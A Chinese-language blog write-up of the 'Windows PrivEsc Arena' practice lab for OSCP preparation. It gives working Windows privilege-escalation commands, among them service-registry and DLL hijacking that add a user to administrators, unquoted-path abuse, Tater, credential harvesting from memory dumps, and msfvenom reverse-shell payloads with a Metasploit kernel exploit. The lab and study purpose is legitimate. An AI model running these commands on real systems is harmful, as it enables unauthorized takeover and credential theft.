【thm】windows内网提权之Windows PrivEsc Arena

少就是多,慢就是快


🔥系列专栏:【OSCP】
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月29日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


注册表-自动运行

跟之前的那个一样基本上,都是通过查询,看到存在exe运行为自动运行注册表项,并且FILE_ALL_ACCESS
通过自动运行,可以在相关权限用户登录时获取权限
我们只需要将不同性质的后门文件写入autorun
在这里插入图片描述
在这里插入图片描述

但是这需要管理员用户手动上线,我们还得知道管理员的账号密码
上一次练习的时候只要管理员进行了登陆即可。无论密码正确与否

在这里插入图片描述关于上传文件,可以使用ftp,kali开启一个ftp服务就行,windows用ftp存储的文件在用户目录下

AlwaysInstallElevated

跟之前的一致,一个原理,通过安装msi来提权
在这里插入图片描述

服务升级-注册表

同样是关于注册表的错误权限问题的另一种解决办法

此任务使用 Windows 注册表中的错误配置, 但在这种情况下,我们有权使用 regsvc 服务在 HKLM 注册表中添加密钥

检查权限
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl

发现特殊权限
FullContol

将远源码文件复制下来
windows_service.c一般是这个

修改敏感函数命令
例如:system() 函数使用的命令替换为: cmd.exe /k net localgroup administrators user /add 

编译
x86_64-w64-mingw32-gcc windows_service.c -o x.exe

指向
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /dc:\temp\x.exe /f 

 启动
 sc start regsvc 
 
检验
net localgroup administrators 

    HKLM\SYSTEM\CurrentControlSet\services\regsvc 是要添加的子项的完整路径
    /v Image Path 是添加注册表项的名称
    /t REG_EXPAND_SZ 是注册表项的类型
    /dc:\temp\x.exe 是新注册表项的数据(在这种情况下,在我们的恶意文件中)
    /f 需要添加注册表项而不提示确认 

在这里插入图片描述

在这里插入图片描述

服务-可执行文件

本质上也就是一个恶意文件覆盖
前提是审计目录的时候权限异常
但这里也是可以使用之前学到的放入一个后门文件的

总而言之只要写入exe,要么本地提权,要么反弹shell了,目前为止得到的结论在这里插入图片描述
在这里插入图片描述

启动项

icacls.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
这个工具是微软自带的,使用其他的也可以
不可局限
在这里插入图片描述
在这里插入图片描述

dll挟持

当我们在 Windows 系统中执行应用程序时,程序的许多功能都是由 DLL 文件提供的。 实际上,当程序启动时,它会查找 DLL。 因此,如果某些 DLL 丢失,并且我们拥有写入权限,那么我们可以将丢失的 DDL 替换为我们的恶意文件。 这样,当应用程序启动时,它就会执行我们的文件。

通常,Windows 应用程序将使用预定义的搜索路径来查找 DLL,并按以下顺序检查这些路径:

    加载应用程序的目录
    32 位系统目录 (C:\Windows\System32)
    16 位系统目录 (C:\Windows\System)
    Windows 目录 (C:\Windows)
    当前工作目录 (CWD)
    PATH 环境变量中的目录(首先是系统,然后是用户) 

在这里插入图片描述
按照提示添加筛选
可以看到最下面一行,temp的一个dll文件缺失
因为temp是共享文件夹,我们具有读写权限
在这里插入图片描述

使用工具
Procmon.exe
添加筛选
进程名称: dllhijackservice.exe 
结果;NAME NOT FOUND 
运行
 sc start dllsvc 
 控制面板找有没有temp目录下或者我们具有完全权限的目录
 借助工具获取到windows_dll.c 源码
 修改函数
 cmd.exe /k net localgroup administrators user /add 
 编译
 x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll 
 放入temp目录
 重启服务
 exec sc stop dllsvc & sc start dllsvc

服务升级 -binpath

同样是关于bin路径的权限错误造成
通过审查获得

未引用的服务路径

与普通方法一致

需要可写并且路径不安全
审查路径

sc发现bin目录无引号,应该access查询是否可以读写

审查权限
sc qc unquotedsvc
审查用户权限
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" 
覆盖
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
或者生成本地提权脚本
 msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe 
 并放入服务路径
启动
net start unquotedsvc

热土豆

要求存在该问题

要利用此漏洞,我们可以使用 Tater 模块,它是 Hot Potato Windows 权限升级的 PowerShell 实现。 因此,我们首先使用 bypass 选项启动 Powershell 以绕过防火墙:

powershell.exe -nop -ep bypass

然后,我们导入 Tater 模块:

Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1

最后,我们绕过命令 net localgroup administrators user /add 运行 Tater 模块,将我们的用户添加到管理员本地组中:

Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"

命令的执行和输出 net localgroup administrators检查漏洞利用是否成功:

详细解释如下

启动bypass绕过防火墙
 powershell.exe -nop -ep bypass 
 
 绕过net localgroup administrators user /add 运行 Tater 模块
  Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
  
添加
 Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" 

查看
net localgroup administrators 

配置文件

在可能包含密码的配置文件中寻找经过base64加密的密码

notepad C:\Windows\Panther\Unattend.xml
然后接码即可

要先找到相关配置文件

内存挖掘

借助msf进行内存中的密码挖掘

msfconsole
use auxiliary/server/capture/http_basic
set uripath x
run
而后访问
http://[Kali VM IP Address]/x
打开这个
 taskmgr 
 在Windows任务管理器中,右键单击“Image Name”栏中的“iexplore.exe”,在弹出的菜单中选择“Create Dump File”。
 kali解码
strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"

内核利用

漏扫得到的版本漏洞

与linux相似
在此举例

建立连接
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost [Kali VM IP Address]
run
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe > shell.exe

内核版本漏洞利用
run post/multi/recon/local_exploit_suggester
 use exploit/windows/local/ms16_014_wmi_recv_notif
 set SESSION [meterpreter SESSION number]
 set LPORT 5555
 run
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值